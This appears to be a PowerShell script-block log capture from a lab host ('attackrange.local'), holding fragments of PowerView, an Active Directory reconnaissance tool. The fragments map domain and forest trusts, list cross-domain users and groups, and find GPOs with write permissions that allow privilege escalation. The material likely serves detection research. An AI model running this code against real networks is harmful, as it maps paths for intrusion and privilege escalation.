Find-DomainUserLocation Set-Alias Invoke-ProcessHunter Find-DomainProcess Set-Alias Invoke-EventHunter Find-DomainUserEvent Set-Alias Invoke-ShareFinder Find-DomainShare Set-Alias Invoke-FileFinder Find-InterestingDomainShareFile Set-Alias Invoke-EnumerateLocalAdmin Find-DomainLocalGroupMember Set-Alias Get-NetDomainTrust Get-DomainTrust Set-Alias Get-NetForestTrust Get-ForestTrust Set-Alias Find-ForeignUser Get-DomainForeignUser Set-Alias Find-ForeignGroup Get-DomainForeignGroupMember Set-Alias Invoke-MapDomainTrust Get-DomainTrustMapping Set-Alias Get-DomainPolicy Get-DomainPolicyData 421dbab9-027c-419f-a5e4-d72557c38f33C:\Users\reed_potts\Downloads\PowerView.ps1 4104132150x0666708Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local4041ial']) { $SearcherArguments['Credential'] = $Credential } if ($PSBoundParameters['Raw']) { $SearcherArguments['Raw'] = $Raw } } PROCESS { # standard group names to ignore $ExcludeGroups = @('Users', 'Domain Users', 'Guests') Get-DomainGroup @SearcherArguments | Where-Object { $ExcludeGroups -notcontains $_.samaccountname } | ForEach-Object { $GroupName = $_.samAccountName $GroupDistinguishedName = $_.distinguishedname $GroupDomain = $GroupDistinguishedName.SubString($GroupDistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' $_.member | ForEach-Object { # filter for foreign SIDs in the cn field for users in another domain, # or if the DN doesn't end with the proper DN for the queried domain $MemberDomain = $_.SubString($_.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' if (($_ -match 'CN=S-1-5-21.*-.*') -or ($GroupDomain -ne $MemberDomain)) { $MemberDistinguishedName = $_ $MemberName = $_.Split(',')[0].split('=')[1] $ForeignGroupMember = New-Object PSObject $ForeignGroupMember | Add-Member Noteproperty 'GroupDomain' $GroupDomain $ForeignGroupMember | Add-Member Noteproperty 'GroupName' $GroupName $ForeignGroupMember | Add-Member Noteproperty 'GroupDistinguishedName' $GroupDistinguishedName $ForeignGroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain $ForeignGroupMember | Add-Member Noteproperty 'MemberName' $MemberName $ForeignGroupMember | Add-Member Noteproperty 'MemberDistinguishedName' $MemberDistinguishedName $ForeignGroupMember.PSObject.TypeNames.Insert(0, 'PowerView.ForeignGroupMember') $ForeignGroupMember } } } } } function Get-DomainTrustMapping { <# .SYNOPSIS This function enumerates all trusts for the current domain and then enumerates all trusts for each domain it finds. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-Domain, Get-DomainTrust, Get-ForestTrust .DESCRIPTION This function will enumerate domain trust relationships for the current domain using a number of methods, and then enumerates all trusts for each found domain, recursively mapping all reachable trust relationships. By default, and LDAP search using the filter '(objectClass=trustedDomain)' is used- if any LDAP-appropriate parameters are specified LDAP is used as well. If the -NET flag is specified, the .NET method GetAllTrustRelationships() is used on the System.DirectoryServices.ActiveDirectory.Domain object. If the -API flag is specified, the Win32 API DsEnumerateDomainTrusts() call is used to enumerate instead. If any .PARAMETER API Switch. Use an API call (DsEnumerateDomainTrusts) to enumerate the trusts instead of the built-in LDAP method. .PARAMETER NET Switch. Use .NET queries to enumerate trusts instead of the default LDAP method. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER Properties Specifies the properties of the output object to retrieve from the server. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainTrustMapping | Export-CSV -NoTypeInformation trusts.csv Map all reachable domain trusts using .NET methods and output everything to a .csv file. .EXAMPLE Get-DomainTrustMapping -API | Export-CSV -NoTypeInformation trusts.csv Map all reachable domain trusts using Win32 API calls and output everything to a .csv file. .EXAMPLE Get-DomainTrustMapping -NET | Export-CSV -NoTypeInformation trusts.csv Map all reachable domain trusts using .NET methods and output everything to a .csv file. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainTrustMapping -Server 'PRIMARY.testlab.local' | Export-CSV -NoTypeInformation trusts.csv Map all reachable domain trusts using LDAP, binding to the PRIMARY.testlab.local server for queries using the specified alternate credentials, and output everything to a .csv file. .OUTPUTS PowerView.DomainTrust.LDAP Custom PSObject with translated domain LDAP trust result fields (default). PowerView.DomainTrust.NET A TrustRelationshipInformationCollection returned when using .NET methods. PowerView.DomainTrust.API Custom PSObject with translated domain API trust result fields. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.DomainTrust.NET')] [OutputType('PowerView.DomainTrust.LDAP')] [OutputType('PowerView.DomainTrust.API')] [CmdletBinding(DefaultParameterSetName = 'LDAP')] Param( [Parameter(ParameterSetName = 'API')] [Switch] $API, [Parameter(ParameterSetName = 'NET')] [Switch] $NET, [Parameter(ParameterSetName = 'LDAP')] [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [Parameter(ParameterSetName = 'LDAP')] [ValidateNotNullOrEmpty()] [String[]] $Properties, [Parameter(ParameterSetName = 'LDAP')] [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [Parameter(ParameterSetName = 'LDAP')] [Parameter(ParameterSetName = 'API')] [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [Parameter(ParameterSetName = 'LDAP')] [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [Parameter(ParameterSetName = 'LDAP')] [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [Parameter(ParameterSetName = 'LDAP')] [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Parameter(ParameterSetName = 'LDAP')] [Switch] $Tombstone, [Parameter(ParameterSetName = 'LDAP')] [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) # keep track of domains seen so we don't hit infinite recursion $SeenDomains = @{} # our domain status tracker $Domains = New-Object System.Collections.Stack $DomainTrustArguments = @{} if ($PSBoundParameters['API']) { $DomainTrustArguments['API'] = $API } if ($PSBoundParameters['NET']) { $DomainTrustArguments['NET'] = $NET } if ($PSBoundParameters['LDAPFilter']) { $DomainTrustArguments['LDAPFilter'] = $LDAPFilter } if ($PSBoundParameters['Properties']) { $DomainTrustArguments['Properties'] = $Properties } if ($PSBoundParameters['SearchBase']) { $DomainTrustArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $DomainTrustArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $DomainTrustArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $DomainTrustArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $DomainTrustArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $DomainTrustArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $DomainTrustArguments['Credential'] = $Credential } # get the current domain and push it onto the stack if ($PSBoundParameters['Credential']) { $CurrentDomain = (Get-Domain -Credential $Credential).Name } else { $CurrentDomain = (Get-Domain).Name } $Domains.Push($CurrentDomain) while($Domains.Count -ne 0) { $Domain = $Domains.Pop() # if we haven't seen this domain before if ($Domain -and ($Domain.Trim() -ne '') -and (-not $SeenDomains.ContainsKey($Domain))) { Write-Verbose "[Get-DomainTrustMapping] Enumerating trusts for domain: '$Domain'" # mark it as seen in our list $Null = $SeenDomains.Add($Domain, '') try { # get all the trusts for this domain $DomainTrustArguments['Domain'] = $Domain $Trusts = Get-DomainTrust @DomainTrustArguments if ($Trusts -isnot [System.Array]) { $Trusts = @($Trusts) } # get any forest trusts, if they exist if ($PsCmdlet.ParameterSetName -eq 'NET') { $ForestTrustArguments = @{} if ($PSBoundParameters['Forest']) { $ForestTrustArguments['Forest'] = $Forest } if ($PSBoundParameters['Credential']) { $ForestTrustArguments['Credential'] = $Credential } $Trusts += Get-ForestTrust @ForestTrustArguments } if ($Trusts) { if ($Trusts -isnot [System.Array]) { $Trusts = @($Trusts) } # enumerate each trust found ForEach ($Trust in $Trusts) { if ($Trust.SourceName -and $Trust.TargetName) { # make sure we process the target $Null = $Domains.Push($Trust.TargetName) $Trust } } } } catch { Write-Verbose "[Get-DomainTrustMapping] Error: $_" } } } } function Get-GPODelegation { <# .SYNOPSIS Finds users with write permissions on GPO objects which may allow privilege escalation within the domain. Author: Itamar Mizrahi (@MrAnde7son) License: BSD 3-Clause Required Dependencies: None .PARAMETER GPOName The GPO display name to query for, wildcards accepted. .PARAMETER PageSize Specifies the PageSize to set for the LDAP searcher object. .EXAMPLE Get-GPODelegation Returns all GPO delegations in current forest. .EXAMPLE Get-GPODelegation -GPOName Returns all GPO delegations on a given GPO. #> [CmdletBinding()] Param ( [String] $GPOName = '*', [ValidateRange(1,10000)] [Int] $PageSize = 200 ) $Exclusions = @('SYSTEM','Domain Admins','Enterprise Admins') $Forest = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() $DomainList = @($Forest.Domains) $Domains = $DomainList | foreach { $_.GetDirectoryEntry() } foreach ($Domain in $Domains) { $Filter = "(&(objectCategory=groupPolicyContainer)(displayname=$GPOName))" $Searcher = New-Object System.DirectoryServices.DirectorySearcher $Searcher.SearchRoot = $Domain $Searcher.Filter = $Filter $Searcher.PageSize = $PageSize $Searcher.SearchScope = "Subtree" $listGPO = $Searcher.FindAll() foreach ($gpo in $listGPO){ $ACL = ([ADSI]$gpo.path).ObjectSecurity.Access | ? {$_.ActiveDirectoryRights -match "Write" -and $_.AccessControlType -eq "Allow" -and $Exclusions -notcontains $_.IdentityReference.toString().split("\")[1] -and $_.IdentityReference -ne "CREATOR OWNER"} if ($ACL -ne $null){ $GpoACL = New-Object psobject $GpoACL | Add-Member Noteproperty 'ADSPath' $gpo.Properties.adspath $GpoACL | Add-Member Noteproperty 'GPODisplayName' $gpo.Properties.displayname $GpoACL | Add-Member Noteproperty 'IdentityReference' $ACL.IdentityReference $GpoACL | Add-Member Noteproperty 'ActiveDirectoryRights' $ACL.ActiveDirectoryRights $GpoACL } } } } ######################################################## # # Expose the Win32API functions and datastructures below # using PSReflect. # Warning: Once these are executed, they are baked in # and can't be changed while the script is running! # ######################################################## $Mod = New-InMemoryModule -ModuleName Win32 # [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPositionalParameters', Scope='Function', Target='psenum')] # used to parse the 'samAccountType' property for users/computers/groups $SamAccountTypeEnum = psenum $Mod PowerView.SamAccountTypeEnum UInt32 @{ DOMAIN_OBJECT = '0x00000000' GROUP_OBJECT = '0x10000000' NON_SECURITY_GROUP_OBJECT = '0x10000001' ALIAS_OBJECT = '0x20000000' NON_SECURITY_ALIAS_OBJECT = '0x20000001' USER_OBJECT = '0x30000000' MACHINE_ACCOUNT = '0x30000001' TRUST_ACCOUNT = '0x30000002' APP_BASIC_GROUP = '0x40000000' APP_QUERY_GROUP = '0x40000001' ACCOUNT_TYPE_MAX = '0x7fffffff' } # used to parse the 'grouptype' property for groups $GroupTypeEnum = psenum $Mod PowerView.GroupTypeEnum UInt32 @{ CREATED_BY_SYSTEM = '0x00000001' GLOBAL_SCOPE = '0x00000002' DOMAIN_LOCAL_SCOPE = '0x00000004' UNIVERSAL_SCOPE = '0x00000008' APP_BASIC = '0x00000010' APP_QUERY = '0x00000020' SECURITY = '0x80000000' } -Bitfield # used to parse the 'userAccountControl' property for users/groups $UACEnum = psenum $Mod PowerView.UACEnum UInt32 @{ SCRIPT = 1 ACCOUNTDISABLE = 2 HOMEDIR_REQUIRED = 8 LOCKOUT = 16 PASSWD_NOTREQD = 32 PASSWD_CANT_CHANGE = 64 ENCRYPTED_TEXT_PWD_ALLOWED = 128 TEMP_DUPLICATE_ACCOUNT = 256 NORMAL_ACCOUNT = 512 INTERDOMAIN_TRUST_ACCOUNT = 2048 WORKSTATION_TRUST_ACCOUNT = 4096 SERVER_TRUST_ACCOUNT = 8192 DONT_EXPIRE_PASSWORD = 65536 MNS_LOGON_ACCOUNT = 131072 SMARTCARD_REQUIRED = 262144 TRUSTED_FOR_DELEGATION = 524288 NOT_DELEGATED = 1048576 USE_DES_KEY_ONLY = 2097152 DONT_REQ_PREAUTH = 4194304 PASSWORD_EXPIRED = 8388608 TRUSTED_TO_AUTH_FOR_DELEGATION = 16777216 PARTIAL_SECRETS_ACCOUNT = 67108864 } -Bitfield # enum used by $WTS_SESSION_INFO_1 below $WTSConnectState = psenum $Mod WTS_CONNECTSTATE_CLASS UInt16 @{ Active = 0 Connected = 1 ConnectQuery = 2 Shadow = 3 Disconnected = 4 Idle = 5 Listen = 6 Reset = 7 Down = 8 Init = 9 } # the WTSEnumerateSessionsEx result structure $WTS_SESSION_INFO_1 = struct $Mod PowerView.RDPSessionInfo @{ ExecEnvId = field 0 UInt32 State = field 1 $WTSConnectState SessionId = field 2 UInt32 pSessionName = field 3 String -MarshalAs @('LPWStr') pHostName = field 4 String -MarshalAs @('LPWStr') pUserName = field 5 String -MarshalAs @('LPWStr') pDomainName = field 6 String -MarshalAs @('LPWStr') pFarmName = field 7 String -MarshalAs @('LPWStr') } # the particular WTSQuerySessionInformation result structure $WTS_CLIENT_ADDRESS = struct $mod WTS_CLIENT_ADDRESS @{ AddressFamily = field 0 UInt32 Address = field 1 Byte[] -MarshalAs @('ByValArray', 20) } # the NetShareEnum result structure $SHARE_INFO_1 = struct $Mod PowerView.ShareInfo @{ Name = field 0 String -MarshalAs @('LPWStr') Type = field 1 UInt32 Remark = field 2 String -MarshalAs @('LPWStr') } # the NetWkstaUserEnum result structure $WKSTA_USER_INFO_1 = struct $Mod PowerView.LoggedOnUserInfo @{ UserName = field 0 String -MarshalAs @('LPWStr') LogonDomain = field 1 String -MarshalAs @('LPWStr') AuthDomains = field 2 String -MarshalAs @('LPWStr') LogonServer = field 3 String -MarshalAs @('LPWStr') } # the NetSessionEnum result structure $SESSION_INFO_10 = struct $Mod PowerView.SessionInfo @{ CName = field 0 String -MarshalAs @('LPWStr') UserName = field 1 String -MarshalAs @('LPWStr') Time = field 2 UInt32 IdleTime = field 3 UInt32 } # enum used by $LOCALGROUP_MEMBERS_INFO_2 below $SID_NAME_USE = psenum $Mod SID_NAME_USE UInt16 @{ SidTypeUser = 1 SidTypeGroup = 2 SidTypeDomain = 3 SidTypeAlias = 4 SidTypeWellKnownGroup = 5 SidTypeDeletedAccount = 6 SidTypeInvalid = 7 SidTypeUnknown = 8 SidTypeComputer = 9 } # the NetLocalGroupEnum result structure $LOCALGROUP_INFO_1 = struct $Mod LOCALGROUP_INFO_1 @{ lgrpi1_name = field 0 String -MarshalAs @('LPWStr') lgrpi1_comment = field 1 String -MarshalAs @('LPWStr') } # the NetLocalGroupGetMembers result structure $LOCALGROUP_MEMBERS_INFO_2 = struct $Mod LOCALGROUP_MEMBERS_INFO_2 @{ lgrmi2_sid = field 0 IntPtr lgrmi2_sidusage = field 1 $SID_NAME_USE lgrmi2_domainandname = field 2 String -MarshalAs @('LPWStr') } # enums used in DS_DOMAIN_TRUSTS $DsDomainFlag = psenum $Mod DsDomain.Flags UInt32 @{ IN_FOREST = 1 DIRECT_OUTBOUND = 2 TREE_ROOT = 4 PRIMARY = 8 NATIVE_MODE = 16 DIRECT_INBOUND = 32 } -Bitfield $DsDomainTrustType = psenum $Mod DsDomain.TrustType UInt32 @{ DOWNLEVEL = 1 UPLEVEL = 2 MIT = 3 DCE = 4 } $DsDomainTrustAttributes = psenum $Mod DsDomain.TrustAttributes UInt32 @{ NON_TRANSITIVE = 1 UPLEVEL_ONLY = 2 FILTER_SIDS = 4 FOREST_TRANSITIVE = 8 CROSS_ORGANIZATION = 16 WITHIN_FOREST = 32 TREAT_AS_EXTERNAL = 64 } # the DsEnumerateDomainTrusts result structure $DS_DOMAIN_TRUSTS = struct $Mod DS_DOMAIN_TRUSTS @{ NetbiosDomainName = field 0 String -MarshalAs @('LPWStr') DnsDomainName = field 1 String -MarshalAs 421dbab9-027c-419f-a5e4-d72557c38f33C:\Users\reed_potts\Downloads\PowerView.ps1 4104132150x0666707Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local3941 $DomainTrust | Add-Member Noteproperty 'TargetName' $Props.name[0] # $DomainTrust | Add-Member Noteproperty 'TargetGuid' "{$ObjectGuid}" $DomainTrust | Add-Member Noteproperty 'TrustType' $TrustType $DomainTrust | Add-Member Noteproperty 'TrustAttributes' $($TrustAttrib -join ',') $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$Direction" $DomainTrust | Add-Member Noteproperty 'WhenCreated' $Props.whencreated[0] $DomainTrust | Add-Member Noteproperty 'WhenChanged' $Props.whenchanged[0] $DomainTrust.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.LDAP') $DomainTrust } if ($Results) { try { $Results.dispose() } catch { Write-Verbose "[Get-DomainTrust] Error disposing of the Results object: $_" } } $TrustSearcher.dispose() } } elseif ($PsCmdlet.ParameterSetName -eq 'API') { # if we're searching for domain trusts through Win32 API functions if ($PSBoundParameters['Server']) { $TargetDC = $Server } elseif ($Domain -and $Domain.Trim() -ne '') { $TargetDC = $Domain } else { # see https://msdn.microsoft.com/en-us/library/ms675976(v=vs.85).aspx for default NULL behavior $TargetDC = $Null } # arguments for DsEnumerateDomainTrusts $PtrInfo = [IntPtr]::Zero # 63 = DS_DOMAIN_IN_FOREST + DS_DOMAIN_DIRECT_OUTBOUND + DS_DOMAIN_TREE_ROOT + DS_DOMAIN_PRIMARY + DS_DOMAIN_NATIVE_MODE + DS_DOMAIN_DIRECT_INBOUND $Flags = 63 $DomainCount = 0 # get the trust information from the target server $Result = $Netapi32::DsEnumerateDomainTrusts($TargetDC, $Flags, [ref]$PtrInfo, [ref]$DomainCount) # Locate the offset of the initial intPtr $Offset = $PtrInfo.ToInt64() # 0 = success if (($Result -eq 0) -and ($Offset -gt 0)) { # Work out how much to increment the pointer by finding out the size of the structure $Increment = $DS_DOMAIN_TRUSTS::GetSize() # parse all the result structures for ($i = 0; ($i -lt $DomainCount); $i++) { # create a new int ptr at the given offset and cast the pointer as our result structure $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset $Info = $NewIntPtr -as $DS_DOMAIN_TRUSTS $Offset = $NewIntPtr.ToInt64() $Offset += $Increment $SidString = '' $Result = $Advapi32::ConvertSidToStringSid($Info.DomainSid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() if ($Result -eq 0) { Write-Verbose "[Get-DomainTrust] Error: $(([ComponentModel.Win32Exception] $LastError).Message)" } else { $DomainTrust = New-Object PSObject $DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain $DomainTrust | Add-Member Noteproperty 'TargetName' $Info.DnsDomainName $DomainTrust | Add-Member Noteproperty 'TargetNetbiosName' $Info.NetbiosDomainName $DomainTrust | Add-Member Noteproperty 'Flags' $Info.Flags $DomainTrust | Add-Member Noteproperty 'ParentIndex' $Info.ParentIndex $DomainTrust | Add-Member Noteproperty 'TrustType' $Info.TrustType $DomainTrust | Add-Member Noteproperty 'TrustAttributes' $Info.TrustAttributes $DomainTrust | Add-Member Noteproperty 'TargetSid' $SidString $DomainTrust | Add-Member Noteproperty 'TargetGuid' $Info.DomainGuid $DomainTrust.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.API') $DomainTrust } } # free up the result buffer $Null = $Netapi32::NetApiBufferFree($PtrInfo) } else { Write-Verbose "[Get-DomainTrust] Error: $(([ComponentModel.Win32Exception] $Result).Message)" } } else { # if we're searching for domain trusts through .NET methods $FoundDomain = Get-Domain @NetSearcherArguments if ($FoundDomain) { $FoundDomain.GetAllTrustRelationships() | ForEach-Object { $_.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.NET') $_ } } } } } function Get-ForestTrust { <# .SYNOPSIS Return all forest trusts for the current forest or a specified forest. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-Forest .DESCRIPTION This function will enumerate domain trust relationships for the current (or a remote) forest using number of method using the .NET method GetAllTrustRelationships() on a System.DirectoryServices.ActiveDirectory.Forest returned by Get-Forest. .PARAMETER Forest Specifies the forest to query for trusts, defaults to the current forest. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-ForestTrust Return current forest trusts. .EXAMPLE Get-ForestTrust -Forest "external.local" Return trusts for the "external.local" forest. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-ForestTrust -Forest "external.local" -Credential $Cred Return trusts for the "external.local" forest using the specified alternate credenitals. .OUTPUTS PowerView.DomainTrust.NET A TrustRelationshipInformationCollection returned when using .NET methods (default). #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.ForestTrust.NET')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('Name')] [ValidateNotNullOrEmpty()] [String] $Forest, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { $NetForestArguments = @{} if ($PSBoundParameters['Forest']) { $NetForestArguments['Forest'] = $Forest } if ($PSBoundParameters['Credential']) { $NetForestArguments['Credential'] = $Credential } $FoundForest = Get-Forest @NetForestArguments if ($FoundForest) { $FoundForest.GetAllTrustRelationships() | ForEach-Object { $_.PSObject.TypeNames.Insert(0, 'PowerView.ForestTrust.NET') $_ } } } } function Get-DomainForeignUser { <# .SYNOPSIS Enumerates users who are in groups outside of the user's domain. This is a domain's "outgoing" access. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-Domain, Get-DomainUser .DESCRIPTION Uses Get-DomainUser to enumerate all users for the current (or target) domain, then calculates the given user's domain name based on the user's distinguishedName. This domain name is compared to the queried domain, and the user object is output if they differ. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER Properties Specifies the properties of the output object to retrieve from the server. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER SecurityMasks Specifies an option for examining security information of a directory object. One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainForeignUser Return all users in the current domain who are in groups not in the current domain. .EXAMPLE Get-DomainForeignUser -Domain dev.testlab.local Return all users in the dev.testlab.local domain who are in groups not in the dev.testlab.local domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainForeignUser -Domain dev.testlab.local -Server secondary.dev.testlab.local -Credential $Cred Return all users in the dev.testlab.local domain who are in groups not in the dev.testlab.local domain, binding to the secondary.dev.testlab.local for queries, and using the specified alternate credentials. .OUTPUTS PowerView.ForeignUser Custom PSObject with translated user property fields. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.ForeignUser')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('Name')] [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [String[]] $Properties, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] [String] $SecurityMasks, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $SearcherArguments = @{} $SearcherArguments['LDAPFilter'] = '(memberof=*)' if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } if ($PSBoundParameters['Raw']) { $SearcherArguments['Raw'] = $Raw } } PROCESS { Get-DomainUser @SearcherArguments | ForEach-Object { ForEach ($Membership in $_.memberof) { $Index = $Membership.IndexOf('DC=') if ($Index) { $GroupDomain = $($Membership.SubString($Index)) -replace 'DC=','' -replace ',','.' $UserDistinguishedName = $_.distinguishedname $UserIndex = $UserDistinguishedName.IndexOf('DC=') $UserDomain = $($_.distinguishedname.SubString($UserIndex)) -replace 'DC=','' -replace ',','.' if ($GroupDomain -ne $UserDomain) { # if the group domain doesn't match the user domain, display it $GroupName = $Membership.Split(',')[0].split('=')[1] $ForeignUser = New-Object PSObject $ForeignUser | Add-Member Noteproperty 'UserDomain' $UserDomain $ForeignUser | Add-Member Noteproperty 'UserName' $_.samaccountname $ForeignUser | Add-Member Noteproperty 'UserDistinguishedName' $_.distinguishedname $ForeignUser | Add-Member Noteproperty 'GroupDomain' $GroupDomain $ForeignUser | Add-Member Noteproperty 'GroupName' $GroupName $ForeignUser | Add-Member Noteproperty 'GroupDistinguishedName' $Membership $ForeignUser.PSObject.TypeNames.Insert(0, 'PowerView.ForeignUser') $ForeignUser } } } } } } function Get-DomainForeignGroupMember { <# .SYNOPSIS Enumerates groups with users outside of the group's domain and returns each foreign member. This is a domain's "incoming" access. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-Domain, Get-DomainGroup .DESCRIPTION Uses Get-DomainGroup to enumerate all groups for the current (or target) domain, then enumerates the members of each group, and compares the member's domain name to the parent group's domain name, outputting the member if the domains differ. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER Properties Specifies the properties of the output object to retrieve from the server. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER SecurityMasks Specifies an option for examining security information of a directory object. One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainForeignGroupMember Return all group members in the current domain where the group and member differ. .EXAMPLE Get-DomainForeignGroupMember -Domain dev.testlab.local Return all group members in the dev.testlab.local domain where the member is not in dev.testlab.local. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainForeignGroupMember -Domain dev.testlab.local -Server secondary.dev.testlab.local -Credential $Cred Return all group members in the dev.testlab.local domain where the member is not in dev.testlab.local. binding to the secondary.dev.testlab.local for queries, and using the specified alternate credentials. .OUTPUTS PowerView.ForeignGroupMember Custom PSObject with translated group member property fields. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.ForeignGroupMember')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('Name')] [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, 